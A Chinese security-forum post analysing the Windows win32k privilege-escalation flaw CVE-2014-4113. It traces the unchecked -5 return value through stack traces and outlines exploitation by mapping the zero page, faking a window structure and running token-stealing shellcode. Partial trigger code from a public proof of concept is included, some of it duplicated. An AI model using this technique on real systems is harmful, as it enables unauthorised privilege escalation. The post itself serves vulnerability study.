首页
社区
课程
招聘
[原创]Windows UAF 漏洞分析CVE-2014-4113
发表于: 2022-12-23 17:31 15711

[原创]Windows UAF 漏洞分析CVE-2014-4113

2022-12-23 17:31
15711

参考链接:
https://bbs.pediy.com/thread-271809.htm
https://www.freebuf.com/vuls/347427.html
https://www.anquanke.com/post/id/84477
https://github.com/ThunderJie/CVE/tree/master/CVE-2014-4113

图片描述
Win32K!xxxMNFindWindowsFromPoint API函数的返回值是一个win32k!tagWND结构的指针。然而,在调用失败时,该函数会返回错误代码-1和-5。而调用程序在检查返回值的时候,只检查了-1,而没有检查-5,从而出现了执行出错。
图片描述
图片描述
同时由于系统本身也没有发现该错误,进而使得该函数将继续默认-5为正确值,同时继续提供一个有效的win32k!tagWND结构的指针;实际上,该函数一直使用的都是错误代码-5(0xfffffffb)。这个代码在执行时,会将-5作为参数传递给Win 32K!xxxSendMessage函数。
Win32K!xxxSendMessage函数。而该函数正好是Win32K!xxxSendMessageTimeout的一个轻量级封装函数。
图片描述
该漏洞的利用方法:在用户模式地址为0xfffffffb的地方,用ZwAllocateVirtualMemoryAPI函数分配内存空间,并在这个地方存储一个win32k!tagWND结构指针。在内核中,以用户模式访问该结构时,便会引发该漏洞,之后便会执行win32k!tagWND结构里的函数。
运行poc看一下,触发异常转到windbg,
图片描述
查看此时的 esi 情况,发现 esi 此时为 fffffffb,esi+8 处并没有映射内存
查看栈回溯,在ida中定位到漏洞触发地点,与上面所分析的一样
图片描述

在调用链中,由用户层的TrackPopupMenu函数触发漏洞,而这个函数的功能是在屏幕指定位置显示快捷菜单并且跟踪选择的菜单项
TrackPopupMenu显示菜单之后,消息循环就由菜单接管了,此时进入的是PopupMenu的消息循环xxxMNLoop,消息处理函数是xxxHandleMenuMessages
xxxMNFindWindowFromPoint获取一个窗口句柄,用于后续的xxxSendMessage函数使用
xxxMNFindWindowFromPoint函数里的逻辑是从鼠标位置获取下一层的菜单项,获取到了就发送ButtonDown(0x1ED)(MN_FINDWINDOWFROMPOINT)消息
而这里对于xxxMNFindWindowFromPoint返回的句柄值的处理则是,如果不是-1,就发送0x1ED消息
图片描述

图片描述

漏洞触发的函数调用流程

内核态的KeUserModeCallback函数最终会调用ntdll中的KiUserCallbackDispatcher函数来调用用户态回调函数,通过对KeUserModeCallback、KiUserCallbackDispatcher设置断点,可以看到第一次处理0x1EB(MN_FINDWINDOWFROMPOINT)消息是通过xxxSendMessageTimeout中调用的xxxCallHook来调用用户注册的钩子函数,在用户空间里函数调用了USER32中的__fnOUTDWORDINDWORD函数,最终调用fn函数。
图片描述
在win32k!xxxSendMessageTimeout中当把0xFFFFFFFB作为win32k!tagWND结构处理时,会调用ptagWND+0x60处的函数,也就是call [0xFFFFFFB+0x60],即call [0x5B]。通过函数ZwAllocateVirtualMemory申请0页内存空间,在该空间建立一个畸形的win32k!tagWND结构的映射页,使得在内核能正确地验证。并将shellcode地址布置在0x5B
图片描述

该漏洞触发的完整过程如下:通过模仿点击事件,CreatePopupMenu创建的PopupMenu会收到0x1EB类型的消息,因为无法拿到PopupMenu的窗口句柄,程序并没有办法直接设置PopupMenu的窗口消息处理函数,因此首先通过SetWindowsHookExA注册钩子函数,在钩子函数中得到PopupMenu的窗口句柄,再通过SetWindowLongA设置PopupMenu的窗口消息处理函数,注册之后xxxSendMessageToClient将调用新的窗口消息处理函数,接收并处理0x1EB的消息。 在新的窗口消息处理函数中,对于消息号为0x1EB的消息,函数返回了0xFFFFFFFB,最终触发了漏洞。通过函数ZwAllocateVirtualMemory申请0页内存空间,在该空间建立一个畸形的win32k!tagWND结构的映射页,使得在内核能正确地验证。并将shellcode地址布置在0x5B,执行shellcode获得权限提升。

POC分析
https://github.com/ThunderJie/CVE/tree/master/CVE-2014-4113
先看main函数内
首先创建了一个主窗口,又新建了两个菜单一个主菜单一个子菜单,并插入了新菜单项,然后调用了SetWindowsHookExA来拦截 1EBh 的消息

模拟事件

SetWindowsHookExA拦截0x1EB消息,SetWindowLongA设置了一次窗口函数是因为只有在窗口处理函数线程的上下文空间中调用EndMenu函数才有意义,我们调用EndMenu函数销毁了这个菜单,此时的win32k!xxxSendMessage函数进行调用就会失败,上层函数 win32k!xxxMNFindWindowFromPoint就会返回 fffffffb

控制0x3,0x11,0x5B这几个地址的值,就能进行漏洞的利用
申请0页内存后写入,shellcode使用TokenSteal即可

 
00 9b817a64 960395c5     fffffffb 000001ed 002bfc9c win32k!xxxSendMessageTimeout+0xb3
01 9b817a8c 960b92fb     fffffffb 000001ed 002bfc9c win32k!xxxSendMessage+0x28
02 9b817aec 960b8c1f     9b817b0c 00000000 002bfc9c win32k!xxxHandleMenuMessages+0x582
03 9b817b38 960bf8f1     fd6c41e8 9619f580 00000000 win32k!xxxMNLoop+0x2c6
04 9b817ba0 960bf9dc     0000001c 00000000 00000000 win32k!xxxTrackPopupMenuEx+0x5cd
05 9b817c14 83c851ea     000101b7 00000000 00000000 win32k!NtUserTrackPopupMenuEx+0xc3
00 9b817a64 960395c5     fffffffb 000001ed 002bfc9c win32k!xxxSendMessageTimeout+0xb3
01 9b817a8c 960b92fb     fffffffb 000001ed 002bfc9c win32k!xxxSendMessage+0x28
02 9b817aec 960b8c1f     9b817b0c 00000000 002bfc9c win32k!xxxHandleMenuMessages+0x582
03 9b817b38 960bf8f1     fd6c41e8 9619f580 00000000 win32k!xxxMNLoop+0x2c6
04 9b817ba0 960bf9dc     0000001c 00000000 00000000 win32k!xxxTrackPopupMenuEx+0x5cd
05 9b817c14 83c851ea     000101b7 00000000 00000000 win32k!NtUserTrackPopupMenuEx+0xc3
 
 
TrackPopupMenu触发漏洞-》Menu的消息处理函数xxxHandleMenuMessages-》xxxMNFindWindowFromPoint-》xxxSendMessage-》xxxSendMessageTimeout-》xxxSendMessageToClient-》SfnOUTDWORDINDWORD-**KeUserModeCallback-》__fnOUTDWORDINDWORD
TrackPopupMenu触发漏洞-》Menu的消息处理函数xxxHandleMenuMessages-》xxxMNFindWindowFromPoint-》xxxSendMessage-》xxxSendMessageTimeout-》xxxSendMessageToClient-》SfnOUTDWORDINDWORD-**KeUserModeCallback-》__fnOUTDWORDINDWORD
 
 
main(){
       HWND main_wnd = CreateWindowA(wnd_class.lpszClassName, "", WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0, 0, 640, 480, NULL, NULL, wnd_class.hInstance, NULL);
}
    //Creates an empty popup menu
    HMENU MenuOne = CreatePopupMenu();
    MENUITEMINFOA MenuOneInfo = { 0 };
    //Default size
    MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
    //Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are called, in this case only dwTypeData which the contents of the menu item.
    MenuOneInfo.fMask = MIIM_STRING;
    BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);
    HMENU MenuTwo = CreatePopupMenu();
    MENUITEMINFOA MenuTwoInfo = { 0 };
    MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
    //On this window hSubMenu should be included in Get/SetMenuItemInfo
    MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
    //The menu is a sub menu of the first menu
    MenuTwoInfo.hSubMenu = MenuOne;
    //The contents of the menu item - in this case nothing
    MenuTwoInfo.dwTypeData = "";
    //The length of the menu item text - in the case 1 for just a single NULL byte
    MenuTwoInfo.cch = 1;
    insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);
    HHOOK setWindowsHook = SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId());
    TrackPopupMenu(
        MenuTwo, //Handle to the menu we want to display, for us its the submenu we just created.
        0, //Options on how the menu is aligned, what clicks are allowed etc, we don't care.
        0, //Horizontal position - left hand side
        0, //Vertical position - Top edge
        0, //Reserved field, has to be 0
        main_wnd, //Handle to the Window which owns the menu
        NULL //This value is always ignored...
        );
 
    //tidy up the screen
main(){
       HWND main_wnd = CreateWindowA(wnd_class.lpszClassName, "", WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0, 0, 640, 480, NULL, NULL, wnd_class.hInstance, NULL);
}
    //Creates an empty popup menu
    HMENU MenuOne = CreatePopupMenu();
    MENUITEMINFOA MenuOneInfo = { 0 };
    //Default size
    MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
    //Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are called, in this case only dwTypeData which the contents of the menu item.
    MenuOneInfo.fMask = MIIM_STRING;
    BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);
    HMENU MenuTwo = CreatePopupMenu();
    MENUITEMINFOA MenuTwoInfo = { 0 };
    MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
    //On this window hSubMenu should be included in Get/SetMenuItemInfo
    MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
    //The menu is a sub menu of the first menu
    MenuTwoInfo.hSubMenu = MenuOne;
    //The contents of the menu item - in this case nothing
    MenuTwoInfo.dwTypeData = "";
    //The length of the menu item text - in the case 1 for just a single NULL byte
    MenuTwoInfo.cch = 1;
    insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);
    HHOOK setWindowsHook = SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId());
    TrackPopupMenu(
        MenuTwo, //Handle to the menu we want to display, for us its the submenu we just created.
        0, //Options on how the menu is aligned, what clicks are allowed etc, we don't care.
        0, //Horizontal position - left hand side
        0, //Vertical position - Top edge
        0, //Reserved field, has to be 0
        main_wnd, //Handle to the Window which owns the menu
        NULL //This value is always ignored...
        );
 
    //tidy up the screen
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
    /*
    Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug
    手动触发按下事件
通过PostMessageA函数发送了三次异步消息,模拟了键盘和鼠标的操作从而达到漏洞
    */
    printf("WindProc called with message=%d\n", msg);
    if (msg == WM_ENTERIDLE) {
        PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);
        PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);
        PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);
    }
    //Just pass any other messages to the default window procedure
    return DefWindowProc(hwnd, msg, wParam, lParam);
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
    /*
    Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug
    手动触发按下事件
通过PostMessageA函数发送了三次异步消息,模拟了键盘和鼠标的操作从而达到漏洞
    */
    printf("WindProc called with message=%d\n", msg);
    if (msg == WM_ENTERIDLE) {
        PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);
        PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);
        PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);
    }
    //Just pass any other messages to the default window procedure

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2022-12-29 14:26 被hml189编辑 ,原因:
收藏
免费 4
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//